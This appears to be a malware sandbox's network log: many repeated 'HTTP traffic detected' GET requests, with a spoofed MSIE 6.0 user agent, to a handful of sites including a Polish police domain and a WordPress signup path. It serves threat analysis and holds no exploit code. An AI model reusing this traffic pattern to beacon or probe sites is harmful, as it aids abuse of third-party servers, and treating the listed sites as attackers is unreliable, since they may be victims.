Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.coCookie: d55e479f054c94814cbc10d217aaa990=85e4e1a68595ff47778d80e98dbe0065
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.coCookie: d55e479f054c94814cbc10d217aaa990=bbd2a9ecd1f16e6deb08a6c096c7155a
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 5372
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 4428
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 5076
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 4272
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 3856
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 5372
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.ukContent-Length: 4336
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 5076
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 4272
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.coCookie: d55e479f054c94814cbc10d217aaa990=bbd2a9ecd1f16e6deb08a6c096c7155a
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.coCookie: d55e479f054c94814cbc10d217aaa990=85e4e1a68595ff47778d80e98dbe0065
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.coCookie: d55e479f054c94814cbc10d217aaa990=85e4e1a68595ff47778d80e98dbe0065
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 4868
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.coCookie: d55e479f054c94814cbc10d217aaa990=bbd2a9ecd1f16e6deb08a6c096c7155a
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 5456
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
